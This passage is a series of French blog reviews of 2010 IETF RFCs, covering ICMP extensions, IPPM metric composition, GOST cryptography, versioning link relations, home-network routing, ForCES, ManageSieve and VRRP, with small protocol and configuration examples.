Ces paquets ICMP étendus permettent de transmettre des informations d'un réseau à un autre, peut-être en traversant les frontières d'un espace d'adressage particulier. Si un routeur sur un réseau interne émet ces paquets ICMP, et qu'ils passent par un routeur NAT pour atteindre la machine de gestion, que va t-il se passer ? Les adresses IP contenues dans le paquet ICMP peuvent n'avoir plus aucun sens. La section 5 s'attaque à ce problème, déjà abordé dans le RFC 5508. La règle est simple : toute « traduction » de l'objet d'information est interdite. Le routeur NAT doit laisser passer cet objet intact ou le retirer mais jamais le modifier. Le destinataire du message ICMP et de l'objet qu'il contient est donc averti que les adresses IP de l'objet peuvent concerner un autre domaine d'adressage et peuvent donc ne pas être pertinentes.
Quels autres problèmes peut poser cette extension ICMP ? Comme elle distribue davantage d'information qu'avant, il existe des risques de confidentialité. Avant, un routeur ne révelait pas quelle était l'interface d'entrée ou de sortie du datagramme qu'il n'avait pas routé. Désormais, il peut le faire et certains administrateurs réseau peuvent estimer que cette information ne doit pas sortir. La section 6, sur la sécurité, leur donne raison en spécifiant que la diffusion de cette information devrait être configurable, par exemple pour permettre de ne pas diffuser certains points.
Enfin, dernier avertissement, rien n'authentifie le contenu des paquets ICMP. Il ne faut donc pas se fier aveuglément au contenu des ces objets d'information.
Je n'ai pas d'informations sur les implémentations de ce RFC. Peut-être faudra t-il attendre.
Date de publication du RFC : Avril 2010
Auteur(s) du RFC : A. Morton (AT&T Labs), S. Van den Berghe (Alcatel-Lucent)
Pour information
Réalisé dans le cadre du groupe de travail IETF ippm
Première rédaction de cet article le 13 avril 2010
Le groupe de travail IETF sur les performances, IPPM, définit un grand nombre de métriques, de grandeurs mesurables, par exemple dans son RFC 2330. Si ce RFC avait déjà abordé le problème de la composition des métriques, il n'avait pas répondu à toutes les questions sur cette composition, ce que fait désormais notre RFC 5835. Comment combiner des mesures dans le temps et l'espace ?
Une telle demande est fréquente chez les opérateurs (section 1.1). Une mesure isolée ne sert en général pas à grand'chose et il faut donc pouvoir les composer (récolter et distribuer un ensemble de mesures) et les agréger (réduire un ensemble de mesures à une seule).
Par exemple, l'administrateur réseaux a souvent besoin de mesures immédiates, obtenues rapidement, pour résoudre un problème précis (ceux qu'on débogue avec ping...). Mais celui qui planifie les évolutions futures du réseau a besoin de mesures répétées sur une longue période, par exemple pour détecter des tendances. Les mesures utiles au premier peuvent aussi l'être au second si on les compose sur cette longue période (section 1.1.2).
Quant à l'agrégation, son but principal est de diminuer la quantité de données (section 1.1.3). Cela facilite le travail de l'humain, qui a ainsi une donnée plus simple à lire et à comprendre et on peut même mettre ces mesures agrégées dans un SLA.
Toutes les données ne se prêtent pas forcément bien à la composition et à l'agrégation. La section 2 exclut donc des métriques comme le réordonnancement des paquets (RFC 4737) et la duplication (RFC 5560). Par contre, les métriques « perte de paquets » (RFC 7680) ou « variation de délai d'acheminement » (RFC 5481) sont parfaitement composables.
La section 3 décrit les mots utilisés dans le reste du RFC. Un terme est particulièrement important, celui de « vérité de base » (ground truth, section 3.7) qui désigne la « vraie » valeur agrégée, celle qu'on va essayer d'atteindre.
Armés de ces mots, on peut alors passer aux compositions elle-mêmes (section 4). Il y a d'abord l'agrégation temporelle (section 4.1), qui consiste à combiner des mesures faites au même endroit et dans les mêmes conditions, mais à des instants différents. Par exemple, si on a mesuré les maxima et minima d'un délai d'acheminement toutes les cinq minutes, on peut agréger à une mesure toutes les soixante minutes en prenant le maximum le plus élevée d'une série de douze mesures successives (et le minimum le moins élevée de la même série, pour trouver le minimum agrégé). Attention, le RFC 2330 parlait de « composition temporelle » pour désigner une opération assez différente, de prédiction de valeurs inconnue.
L'agrégation spatiale, elle (section 4.2), agrège des mesures du même type faites à des endroits différents. Par exemple, si on a mesuré des délais d'acheminement des paquets à plusieurs endroits d'un grand réseau, et qu'on veut déterminer un délai « moyen », le calcul naïf de la moyenne serait assez faussé par quelques liens peu utilisés et la bonne façon d'agréger est donc une moyenne pondérée par l'importance du trafic sur chacun des liens mesurés.
Autre exemple d'agrégation spatiale, un opérateur réseau veut connaître le délai d'acheminement d'un paquet dans son réseau. Comme ce dernier a beaucoup de points d'entrée et beaucoup de points de sortie, la liste des délais va être longue. L'opérateur peut la raccourcir par une agrégation spatiale : garder uniquement le délai maximum (qui sera ainsi une borne supérieure du temps passé dans le réseau).
L'agrégation spatiale diminue la résolution de l'information (c'est bien son but : simplifier les données). La composition spatiale, elle (section 4.3), combine plusieurs mesures faites à des endroits différents pour trouver une mesure globale. Un exemple typique est la mesure du délai d'acheminement du point A au point D si on connait les délais de A à B, de B à C et de C à D. Une simple addition donnera alors le délai total (approximatif : par exemple, il n'est jamais garanti que les délais soient parfaitement additifs).
Une fois qu'on a combiné des mesures, on peut continuer le processus dans d'autres combinaisons (section 4.5). Par exemple, les résultats d'une agrégation temporelle (qui diminue la résolution des mesures mais les rend plus faciles à analyser et plus légères à copier sur le réseau) peuvent faire l'objet d'une nouvelle agrégation qui va encore diminuer la résolution (et le volume des données).
Le principal but de notre RFC étant de paver la voie pour de futurs RFC définissant rigoureusement des métriques composées et agrégées, la section 5 donne les exigences auxquelles ces futures métriques devront obéir, par exemple une description claire des suppositions sur lesquelles elles reposeront, une explication de leur utilité pratique, une analyse des sources d'erreur, etc. Le premier de ces RFC a été le RFC 6049.
Il y a même une mention des risques liés à l'appropriation intellectuelle, en section 5.1, qui rappelle que, si une seule des métriques est plombée par un brevet ou une appropriation similaire, alors la composition entière l'est.
Enfin, la section 6 donne des conseils sur la composition de métriques, tournant en général autour de l'idée de « vérité de base ». Ainsi, lors d'une composition temporelle (section 6.1.1), la vérité de base est la mesure effectuée sur tout l'intervalle. Si je mesure le taux de perte de paquets (RFC 7680) sur trois intervalles contigus, de durées égales, T1, T2 et T3, et que je fais une composition temporelle (en prenant la moyenne) pour trouver le taux de pertes de l'intervalle T (= T1 + T2 + T3), une mesure directe pendant T nous aurait donné la vérité de base. La composition idéale devrait donc donner une valeur proche de la vérité de base.
Qu'est-ce qui empêche une composition de s'en tenir à cet idéal ? Comme le note la section 6.2, cela peut être la propagation d'erreurs de mesure, ou bien une légère différence dans ce qui est mesuré. Par exemple, lors d'une composition spatiale, le délai d'acheminement d'un paquet entre A et C (séparés par un routeur B) n'est pas réellement la somme des délais de A à B et de B à C car il y a un temps de traitement dans B.
Autre piège dans les mesures : le trafic sur l'Internet réel dépend souvent du temps. Par exemple, des variations sur un rythme quotidien sont très courantes. Composer des mesures prises à des moments différentes peut donc donner des résultats erronés (section 6.4). À noter que certaines métriques ne dépendent quasiment pas du moment de la mesure, par exemple le délai minimum d'acheminement des paquets.
Date de publication du RFC : Mars 2010
Auteur(s) du RFC : V. Dolmatov (Cryptocom)
Pour information
Première rédaction de cet article le 16 mars 2010
L'algorithme de signature GOST est une norme russe de cryptographie. Son utilisation est obligatoire en Russie pour les services publics. GOST est un algorithme purement local, qui n'avait été décrit qu'en russe et qui n'avait donc jamais suscité d'intérêt à l'étranger (ni, probablement, beaucoup d'essais de cryptanalyse). Ce RFC 5832 (et son compagnon, le RFC 5830, sur l'algorithme de chiffrement) semblent être les premières descriptions de GOST en anglais (il a depuis été remplacé par le RFC 7091). Les RFC précédents comme le RFC 4490 ou le RFC 4491 ne portaient que sur l'usage de GOST.
Le caractère très étatique de GOST est rappelé dès la section 1.1
du RFC qui note que l'algorithme a été développé par la
FAGCI (ou FAPSI), la NSA russe
« sous la direction du Président de la
Fédération ». GOST étant obligatoire en
Russie pour les services nationaux (section 2
du RFC) , les
responsables du TLD
.ru
ont donc annoncé
qu'ils ne pourraient pas déployer DNSSEC si
celui-ci ne fournit pas un moyen d'utiliser GOST (en plus de
DSA et RSA). Une des
étapes nécessaires à l'utilisation de GOST dans DNSSEC était la
disponibilité d'un texte stable décrivant GOST, ce qui est désormais
le cas. (Et du RFC 5933 qui spécifie son intégration dans DNSSSEC.)
GOST R 34.10-2001, décrit dans ce RFC, est donc un algorithme de pure signature, ne pouvant pas servir au chiffrement. Reposant sur la cryptographie asymétrique, il est donc sur le même créneau que DSA. Mais, contrairement à lui, il repose sur les courbes elliptiques.
Je vous laisse découvrir ledit algorithme dans le RFC, personnellement, mes compétences en cryptographie sont bien trop faibles pour y comprendre quelque chose. Et le code source ? Pour OpenSSL, il existe une distribution de GOST.
Date de publication du RFC : Mars 2010
Auteur(s) du RFC : V. Dolmatov (Cryptocom)
Pour information
Première rédaction de cet article le 16 mars 2010
Les algorithmes de signature et de chiffrement GOST sont des normes russes de cryptographie. Leur utilisation est obligatoire en Russie pour les services publics. GOST est un algorithme purement local, qui n'avait été décrit qu'en russe et qui n'avait donc jamais suscité d'intérêt à l'étranger. Sauf erreur, ce RFC 5830 (et son compagnon, le RFC 5832, sur l'algorithme de signature) sont les premières descriptions « officielles » de GOST en anglais. Les RFC précédents comme le RFC 4490 ou le RFC 4491 ne portaient que sur l'usage de GOST. (Depuis, une nouvelle version de l'algorithme est sortie, spécifié dans le RFC 8891.)
GOST 28147-89, décrit dans notre RFC, est la norme russe de chiffrement et déchiffrement symétrique (GOST R 34.10-2001, décrit dans le RFC 5832, étant l'algorithme de signature).
La section 4 donne le cadre général de l'algorithme. On note que, s'il dépend de tables de substitution, aucune n'est définie dans la norme (on peut en trouver dans le RFC 4357). Classiquement, il existe plusieurs modes de chiffrement comme ECB (décrit en détail en section 5) ou CFB (section 7). GOST 28147-89 permet également de générer un MAC (section 8).
Ces deux RFC sur GOST ont suscité des débats agités à l'IETF, notamment face à la possibilité de leur incorporation dans DNSSEC. Les critiques portaient sur l'insuffisance de la description dans le RFC (bien des points sont laissés dans l'ombre et il semble difficile de mettre en œuvre GOST uniquement en lisant le RFC), sur le peu d'analyse de sécurité sérieuse faite sur GOST, et sur les vraies motivations du gouvernement russe pour insister à imposer un algorithme local (une des hypothèses étant, comme toujours avec les gouvernements fermés, qu'il y a une porte dérobée dans l'algorithme).
Ce RFC a été remplacé depuis par le RFC 8891, qui décrit une version plus récente de l'algorithme.
Date de publication du RFC : Avril 2010
Auteur(s) du RFC : A. brown, G. Clemm (IBM, J. Reschke (greenbytes)
Pour information
Première rédaction de cet article le 7 avril 2010
Ce document spécifie des types de liens qui peuvent exister entre ressources Web, notamment si elles sont versionnées (voir la section 2 pour le vocabulaire spécifique du versionnage). Par exemple, un lien peut pointer vers la dernière version d'une ressource, ou vers son historique.
Ces liens sont notamment utilisés pour le format de
syndication Atom
(élement <atom:link>
, section 4.2.7 du RFC 4287), ainsi
que pour le système CMIS. Mais
HTML peut en bénéficier aussi, pour son élément
<link>
. Ainsi,
en HTML :
<link rel="latest-version" href="latest-thing.html">
sera désormais possible. Quant aux protocoles pour gérer les versions, beaucoup sont spécifiques à un VCS donné mais il y a eu aussi des normalisations, comme celle du RFC 3253.
La section 3 liste les nouveaux types de relations :
version-history
, l'historique du
document,latest-version
, la dernière version,Tous ces types sont enregistrés dans le registre IANA.
Des exemples d'utilisation figurent en annexe A, notamment pour le
champ Link:
de HTTP (qui
avait été normalisé dans la section 19.6.1.2 du RFC 2068,
puis abandonné dans la norme actuelle, le RFC 2616, mais qui pourrait ressusciter).
Quelques petits avertissements de sécurité, en section 5 : un lien peut partir sur un autre site, et ne doit donc pas forcément être suivi automatiquement. Et l'historique peut réveler des choses sur une version, même si la ressource correspondant à cette version est interdite d'accès.
Date de publication du RFC : Avril 2010
Auteur(s) du RFC : A. Brandt (Sigma Designs), J. Buron (Sigma Designs), G. Porcu (Telecom Italia)
Pour information
Réalisé dans le cadre du groupe de travail IETF roll
Première rédaction de cet article le 7 avril 2010
L'« Internet des objets » est un terme à la mode, pour désigner l'interconnexion d'équipements qui ne sont pas habituellement considérés comme des ordinateurs mais qui ont néanmoins une adresse IP et une connexion (souvent indirecte) à l'Internet. Dans un environnement de type domotique, par exemple, cela concerne le grille-pain et le réfrigérateur lorsqu'ils veulent échanger des recettes. Mais, s'ils sont trop éloignés l'un de l'autre et qu'ils ne peuvent communiquer que via le presse-purée ? C'est ici que rentre en jeu notre RFC, troisième document du groupe de travail ROLL de l'IETF, groupe de travail qui vise à définir des protocoles de routage permettant au grille-pain et au réfrigérateur de découvrir que le presse-purée est volontaire pour router leurs paquets IP. Ce document est le cahier des charges des futurs protocoles de ROLL.
Bien sûr, les exemples cités plus haut sont des cas trop faciles, car le grille-pain et le réfrigérateur disposent tous les deux de tellement d'énergie que les protocoles classiques de routage peuvent être utilisés. Mais si on prend des équipements non reliés au réseau électrique comme une alarme incendie planquée dans le plafond, la télécommande de la télévision, le compteur d'eau, etc, la situation devient plus délicate, on entre vraiment dans le monde des « Low power and lossy networks » qui ont donné leur nom au groupe ROLL. Ces engins ne peuvent plus communiquer que par radio et la portée de leurs émetteurs est souvent limitée (notamment afin d'économiser les batteries). Le routage est donc nécessaire, certaines machines relayant les communications des autres. D'autre part, la réception sera souvent mauvaise (le spectre hertzien est très encombré et la seule mise en route du four à micro-ondes peut perturber le réseau). Les pertes de paquets seront donc fréquentes. Le problème ressemble donc beaucoup à celui décrit dans le RFC 5548 (qui était davantage tourné vers l'extérieur, notre RFC 5826 visant la maison, alors que le RFC 5867 vise les immeubles de bureaux).
Pour allêcher le lecteur, la section 2 donne quelques exemples d'applications domotiques, chacune illustrant un ou deux points précis des exigences qui pèseront sur le protocole. À noter que beaucoup de ces exemples reprennent sans nuance le discours habituel des vendeurs de solution domotiques, qui font miroiter le côté high-tech de leurs gadgets, sans jamais se demander s'ils sont réellement utiles et si le même objectif ne pouvait pas être atteint autrement. C'est ainsi que le contrôle de l'air conditionné (section 2.2) est présenté comme permettant de réduire la consommation énergétique, sans même mentionner la possibilité de supprimer complètement ce gouffre d'énergie absurde qu'est l'air conditionné ! Bel exemple d'écoblanchiment.
L'exemple des systèmes d'alarme (section 2.8) est particulièrement détaillé. Comme certains des capteurs ont un rôle vital (par exemple les détecteurs de fumée), il n'est pas question de tirer inutilement sur leur batterie en leur faisant assurer des tâches de routage pour des équipements moins vitaux. Le protocole de routage doit donc permettre d'exclure de la corvée de routage certains systèmes.
Après ce voyage dans le Disneyland de la domotique, la section 3 liste les exigences concrètes :
Bien sûr, un tel réseau à la maison, dont la taille et la complexité serait à peu près celle de l'Internet de 1975, poserait des problèmes de sécurité. C'est l'objet de la section 5. Les réseaux à la maison rendent beaucoup de solutions de sécurité irréalistes. Par exemple, difficile d'exiger d'une machine devant économiser chaque milliwatt d'énergie de faire des calculs cryptographiques compliqués à chaque paquet. Le RFC insiste donc sur la nécessité de développer des solutions de sécurité légères.
Autre problème de sécurité, l'auto-configuration. Elle rend difficile la mise en œuvre de politiques de sécurité et notre RFC 5826 demande donc des mécanismes permettant de refuser l'accès à une machine inconnue.
Date de publication du RFC : Mars 2010
Auteur(s) du RFC :
J. Halpern (Self), E. Deleganes (Intel)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF forces
Première rédaction de cet article le 19 mars 2010
Le protocole Forces s'affine au fur et à mesure des RFC. Ce protocole permettra aux différent éléments d'un routeur de communiquer entre eux de manière normalisée, permettant peut-être la réalisation de routeurs modulaires, obtenus en assemblant des composants standard.
Ce RFC décrit le modèle de données des FE (forwarding element) de Forces. Un FE est chargé d'effectuer le travail de transmission (forwarding) des paquets, sous le contrôle d'un CE (Control Element) avec lequel il communique en suivant le protocole Forces. Le modèle permet de décrire les capacités d'un FE (ce qu'il sait faire), son état (ce qu'il est en train de faire) et sa configuration (comment le CE peut-il le commander). Il s'inscrit dans la suite du cahier des charges de Forces, le RFC 3654 et dans celle du cadre de description de Forces, le RFC 3746.
Par exemple, parmi les capacités d'un FE, on pourrait trouver :
Le modèle utilise une entité plus précise que le FE, le LFB (logical functional block, décrit en détail en section 3.2). Un LFB assure une tâche élémentaire, la combinaison de ces tâches (les LFB sont typiquement chaînés) donnant le FE.
Par exemple, on peut imaginer qu'une fonction comme le forwarding soit mise en œuvre par la combinaison de deux LFB, Longest Prefix Match et Next Hop.
La section 4 du RFC décrit plus concrètement les schémas. Le langage de description utilisé est XML, avec utilisation des W3C Schemas. Un schéma Forces est essentiellement constitué de la descriptions des classes de LFB, comme par exemple un LFB Counter qui compte les données ou comme un LFB Dropper qui jetterait tous les paquets qu'il reçoit (permettant de modéliser des effets comme les null route d'IOS, où un routeur jette des paquets, par exemple pour arrêter une DoS). Ces descriptions de classes forment ensuite une bibliothèque de classes et tout FE Forces sera documenté par une telle bibliothèque (voir par exemple celle décrite dans le RFC 6956).
La complexité du modèle et l'utilisation des W3C Schema fait que ce RFC est particulièrement long : 122 pages à lire.
Date de publication du RFC : Mars 2010
Auteur(s) du RFC : A. Doria (Lulea University of
Technology), J. Hadi Salim
(Znyx), R. Haas (IBM), H. Khosravi
(Intel), W. Wang (Zhejiang Gongshang
University), L. Dong (Zhejiang Gongshang
University), R. Gopal
(Nokia), J. Halpern
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF forces
Première rédaction de cet article le 19 mars 2010
Ce RFC conclut, après un très long travail, les efforts du groupe de travail Forces de l'IETF. Ce groupe était chargé de produire un protocole permettant la communication entre les différents éléments d'un routeur, afin de permettre d'acheter ces éléments chez des vendeurs différents. Un tel protocole pourrait permettre d'ouvrir le monde actuellement très fermé des routeurs de haut de gamme, mais il n'est pas sûr du tout qu'il soit un jour effectivement mis en œuvre.
Le travail de Forces avait commencé il y a de nombreuses années et le premier RFC, le RFC 3654 avait été publié en 2003. Maintenant, grâce à ce RFC 5810 (et quelques compagnons comme le RFC 5811 sur le protocole de transport), le travail est quasiment terminé et la partie Normalisation de Forces avec lui. Il reste à l'implémenter et à faire en sorte qu'il soit disponible dans les routeurs...
Conformément au cahier des charges du RFC 3654, et au cadre général de Forces exposé par le RFC 3746, ce nouveau protocole permet la communication entre deux catégories d'élements qui composent un routeur, les CE (Control Element) et les FE (Forwarding Element). (La section 3 rappelle le vocabulaire de Forces.) Les premiers, les CE, font tourner des algorithmes compliqués comme OSPF ou BGP, ils prennent des décisions « de haut niveau » et les seconds, les FE, font le travail « bête » mais ultra-rapide, de commutation de chaque paquet. Aujourd'hui, dans un routeur (Forces dit NE, pour Network Element, et pas routeur) haut de gamme, le CE est typiquement un processeur standard, avec un système d'exploitation (parfois un Unix),le FE est un ASIC aux capacités bien plus limitées mais aux performances fantastiques. Comme le protocole de communication entre le CE et le FE est privé, pas question de faire tourner du logiciel libre sur le CE, pas question d'acheter le processeur à un vendeur et les ASIC à un autre. C'est ce problème que Forces veut résoudre.
Dans Forces, la relation entre les CE et les FE est simple : le CE est le maître et le FE l'esclave. Les informations nécessaires au FE sont regroupées dans des LFB (Logical Function Block) dont la description est faite en XML (cf. RFC 5812 et un exemple dans le RFC 6956). Le protocole lui-même n'utilise pas XML. Le protocole ne spécifie que la communication entre FE et CE, pas celles qui pourraient exister entre FE ou bien entre CE, ni celle qui relie les CE à leur gérant (l'interface d'administration du routeur). (La section 4 rappelle le cadre général de Forces, exposé dans le RFC 3746.) Le protocole Forces est également responsable de l'établissement et de la terminaison des associations entre un routeur (NE) et des CE ou FE (section 4.4). Une fois l'association faite, le CE envoie des ordres au FE, ordres exprimés avec le protocole Forces, et encapsulés dans un protocole de transport, le TLM (Transport Layer Mapping) qui fait l'objet d'un RFC séparé (RFC 5811).
La section 4.3.1 du RFC détaille la question de l'atomicité des requêtes Forces. Le protocole permet des requêtes atomiques (toutes sont exécutées, ou bien aucune ne l'est, section 4.3.1.1.1) mais aussi des requêtes exécutées séquentiellement jusqu'au premier échec (section 4.3.1.1.3) ou encore des requêtes exécutées même si la précédente était un échec (section 4.3.1.1.2). Mieux, Forces permet des transactions ACID (section 4.3.1.2).
L'encodage des paquets sur le câble fait l'objet de la section 6. Tous les paquets ont un en-tête commun, suivi d'un ou plusieurs TLV. Parmi les champs de l'en-tête commun, un numéro de version sur 4 bits (actuellement 1), le type du message, sur 8 bits (les différents types sont décrits en section 7 et le tableau complet est dans l'annexe A.1) et les adresses (nommées ID) de l'expéditeur et du destinataire. Ces ID, ces adresses, sont codés sur 32 bits et doivent être uniques à l'intérieur du routeur (mais pas forcément pour tout l'Internet). Rappelez-vous qu'un des buts de Forces est de pouvoir gérer des équipements très complexes, où CE et FE ne sont pas forcément dans la même boîte. À noter que les adresses des CE et des FE sont séparées (les premières commencent toujours par 00 et les secondes par 01).
Une fois passé l'en-tête commun, viennent les TLV, décrits dans la section 6.2. Le choix de TLV permet de simplifier l'analyse des messages, certains FE n'apprécieraient en effet pas forcément de devoir analyser du XML. À noter que le champ Valeur d'un TLV peut contenir d'autres TLV.
Le contenu légal d'un message (quels TLV, en fonction de son type)
est le sujet de la section 7. Par exemple (section 7.1.6), si le type
est Config
(créer ou bien mettre à jour un attribut
du FE) ou Query
(récupérer la valeur d'un attribut
du FE), il ne peut pas y avoir de TLV de réponse dans le message (mais
il y a un TLV PATH-DATA
qui contient
l'identificateur de l'attribut qu'on vise). Si
le type est QueryResponse
(réponse à une question
posée), en revanche, le TLV de réponse (section 7.1.7)
est obligatoire. Comme le protocole Forces est très asymétrique (les
CE commandent et les FE obéissent), la plupart des messages ne peuvent
être émis que dans une seule direction (par exemple, un
GET
ne peut être que d'un CE vers un FE, le FE,
en bon subordonné, ne doit pas poser des questions à son
supérieur). Les questions et réponses sont détaillées en section 7.7 et un registre IANA stocke les valeurs possibles. L'annexe C donne plusieurs exemples d'encodage.
La traditionnelle section sur la sécurité est la 9. Les menaces contre Forces ont été décrites dans le RFC 3746. Forces peut être configuré avec zéro sécurité (section 9.1), notamment si tous les composants, CE et FE, sont dans une seule boîte fermée (ce qui est le cas de la plupart des routeurs aujourd'hui). Autrement, la sécurité dépend essentiellement des services du TML (section 5).
Notre RFC 5810 ne normalise que les bits qui seront transportés entre CE et FE, pas la manière dont ils seront encapsulés dans un protocole de transport. La section 5 ne spécifie pas de telles règles mais expose le cahier des charges que devront respecter celles-ci (appelé le TML pour Transport Mapping Layer). Au moins une encapsulation est obligatoire pour Forces, celle du RFC 5811 mais d'autres sont possibles.
Parmi les exigences de cette section, la fiabilité de la délivrance des paquets (au moins pour certains d'entre eux), la sécurité (au minimum la possibilité d'authentifier CE et FE, de préférence avec des mécanismes existants comme TLS ou IPsec), le contrôle de congestion (cf. RFC 2914), la possibilité de haute disponibilité (section 8), etc.
Je ne connais pas encore d'implémentation de niveau « production ». Ce n'est pas un travail évident, Forces est riche et complexe, peut-être trop.
Date de publication du RFC : Juillet 2010
Auteur(s) du RFC : A.Melnikov (Isode), T. Martin
(BeThereBeSquare)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF sieve
Première rédaction de cet article le 14 juillet 2010
Le langage de filtrage du courrier Sieve permet d'écrire des scripts décrivant les actions à effectuer automatiquement en fonction du contenu d'un message électronique. Ces scripts peuvent évidemment être édités avec vi directement sur le serveur mais, très souvent, les utilisateurs de Sieve n'ont pas la possibilité de se connecter directement audit serveur. Ce RFC normalise donc un protocole, ManageSieve, qui permet de mettre à jour des scripts Sieve sur le serveur.
Comme résumé en sections 1.2 et 1.3, ManageSieve est un protocole texte, orienté ligne, analogue à de nombreux autres protocoles IETF comme IMAP. Le client ManageSieve se connecte au serveur, s'authentifie, envoie des commandes et le serveur répond par des codes (section 1.4) indiquant le succès ou l'échec de la commande.
Voici un exemple de session où les lignes préfixées par
C:
sont envoyées par le client et celles
préfixées par S:
sont les réponses du serveur :
S: "IMPLEMENTATION" "Example ManageSieved v001" S: "SIEVE" "fileinto vacation" S: "SASL" "PLAIN" S: "STARTTLS" S: "VERSION" "1.0" S: "LANGUAGE" "fr" S: OK C: Authenticate "PLAIN" "QJIrweAPyo6Q1T9xy" S: OK C: Putscript "mysievescript" {110+} C: require ["fileinto"]; C: C: if envelope :contains "to" "tmartin+sent" { C: fileinto "INBOX.sent"; C: } S: OK
L'utilisateur s'est authentifié, puis a déposé un script Sieve
nommé mysievescript
.
Une notion importante du protocole ManageSieve est celle de
script actif (section 1.5). ManageSieve permet de déposer
plusieurs scripts sur le serveur, chacun identifié par un nom (les
noms sont décrits en section 1.7, ils peuvent être pratiquement n'importe quelle
chaîne Unicode) mais un
seul est script actif (est réellement exécuté lors de la délivrance du
courrier). La commande SETACTIVE
(section 2.8)
sert à rendre un script actif.
Comme la plupart des protocoles, ManageSieve impose un certain
nombre de fonctions qui doivent être mises en
œuvre, et d'autres qui sont
optionnelles (section 1.8). Un serveur ManageSieve annonce ces
capacités à l'établissement de la connexion et
en réponse à la commande
CAPABILITY
(section 2.4). Parmi elles, la possibilité de
protéger la session par TLS (obligatoire), la liste des
extensions Sieve acceptées (obligatoire), la langue utilisée pour les
messages d'erreur (optionnelle), etc.
ManageSieve fonctionne sur TCP (section
1.9), le port par défaut étant 4190 (attention, pendant longtemps, c'était le 2000 et plusieurs logiciels ont encore cela par défaut). L'adresse IP du serveur est
trouvée en résolvant d'abord les enregistrements
SRV _sieve._tcp.$DOMAIN
et, si le SRV n'existe pas, en essayant directement une adresse liée
au nom de domaine.
La liste complète des commandes possibles figure en section 2. Deux examples :
PUTSCRIPT
(section 2.6) permet de déposer
un script en lui donnant un nom. À noter que le serveur
doit tester la validité syntaxique du script
avant de l'enregistrer.LISTSCRIPTS
(section 2.7) qui donne la
liste des scripts Sieve déposés, en indiquant lequel est actif.On peut désigner un serveur ManageSieve, ou bien un script sur un
serveur, avec un URL (section 3). Un exemple
est sieve://example.net/durand/mon-script
qui
identifie le script mon-script
de l'utilisateur
durand
sur le serveur ManageSieve du domaine example.net
.
Bien que le RFC vienne de paraître, ManageSieve est un ancien
protocole et est déjà mis en œuvre, côté client dans SquirrelMail,
Emacs, un simple script Perl, les programmes sieve-connect
et sieveshell
de Cyrus et, côté serveur, dans
Archiveopteryx,
Dovecot (voir aussi PigeonHole), Cyrus (programme timsieved
)... Il
existe aussi un serveur semi-autonome en Python, pysieved. Sur la question
générale du filtrage du courrier, on peut consulter l'article « Filtres
côté serveur ».
Date de publication du RFC : Mars 2010
Auteur(s) du RFC : S. Nadas (Ericsson)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF vrrp
Première rédaction de cet article le 11 mars 2010
Lorsqu'on configure une machine connectée à l'Internet, on indique le routeur par défaut qu'elle doit utiliser. Que faire s'il tombe en panne ? Utiliser VRRP, le protocole que normalise notre RFC, qui permet à plusieurs routeurs de se surveiller mutuellement, et de se remplacer en cas de défaillance. (Le RFC a depuis été remplacé par le RFC 9568.)
Prenons par exemple une machine Unix. Sa table de routage va être :
% netstat -r -n Kernel IP routing table Destination Gateway Genmask Flags MSS Window irtt Iface 10.0.0.0 0.0.0.0 255.255.255.0 U 0 0 0 wlan0 0.0.0.0 10.0.0.1 0.0.0.0 UG 0 0 0 wlan0
Ici, 10.0.0.1
est le routeur par défaut (on utilise
parfois l'ancien terme, incorrect, de passerelle par défaut). Que se
passe t-il s'il tombe en panne ? La machine n'a plus accès qu'à une
petite portion de l'Internet, son réseau local (ici
10.0.0.0/24
) et ceux pour lesquels
il existe une route via un autre routeur. En
IPv6, des mécanismes comme la découverte de
voisin (RFC 4861) peuvent aider à trouver un
autre routeur, s'il existe, mais les délais sont souvent trop
élevés.
C'est évidemment inacceptable lorsqu'on veut pouvoir compter sur son accès Internet. D'où le protocole VRRP, normalisé à l'origine dans le RFC 2338, puis dans le RFC 3768. Cette ancienne version était spécifique à IPv4 et notre RFC 5798 est la première version de VRRP à être commune à IPv4 et IPv6. Elle porte le numéro 3. (Bien à tort, je trouve, le RFC parle de « IPvX » lorsqu'il veut désigner les deux familles, au lieu de simplement dire « IP ».)
La section 1 du RFC commence par introduire le problème et par
expliquer quelles sont les solutions possibles, avant VRRP. Ainsi
(section 1.2), en IPv4, les méthodes classiques étaient de faire
tourner un protocole de routage comme RIP (RFC 2453) en mode « écoute seule », où la machine reçoit les mises
à jour de route, pour en déduire les routeurs possibles, mais n'en
envoie pas elle même. C'est ainsi que, à une époque lointaine, toutes
les machines Unix en réseau faisaient tourner le programme de routage
routed
. L'utilisation d'un protocole de routage
par des machines non-routeuses a entraîné tellement de mauvaise
surprises que cette méthode n'est plus recommandée.
Il reste donc la découverte de routeur par le biais de messages ICMP (RFC 1256), jamais réellement déployée, ou bien les routes statiques, mises à la main ou via DHCP. Cette solution a l'inconvénient de l'absence de résistance aux pannes. Si le routeur par défaut s'arrête, il n'y a pas de mécanisme de bascule automatique.
En IPv6 (section 1.3), il y a une possibilité supplémentaire, le protocole de découverte de voisin du RFC 4861 qui permet, via la fonction Neighbor Unreachability Detection (section 7.3 du RFC 4861) de s'apercevoir qu'un routeur est en panne et d'en chercher un autre. Avec les paramètres par défaut de la découverte de voisin, un tel changement prend environ 40 secondes, ce qui est trop pour la plupart des applications.
La section 1.6 décrit le vocabulaire de VRRP. Notons qu'un « routeur VRRP » est un routeur qui parle le protocole VRRP mais qu'un « routeur virtuel » est l'ensemble des routeurs (un maître et plusieurs remplaçants) qui contribuent au fonctionnement continu d'une adresse IP vers laquelle pointent les routes.
La section 2 est un résumé du cahier des charges de VRRP : service continu pour une adresse IP, avec minimisation du temps de bascule vers un autre routeur physique, possibilité d'exprimer une préférence entre les différents routeurs physiques d'un même routeur virtuel, minimiser les bascules inutiles (par exemple lorsqu'un ancien maître redémarre), fonctionnement sur un réseau local coupé par des ponts qui doivent apprendre l'adresse MAC (section 2.4, qui détaille ce problème), etc. VRRP fonctionne sur tout type de réseau local mais, en pratique, est surtout utilisé sur Ethernet (l'annexe A décrit les spécificités des autres protocole comme le Token Ring).
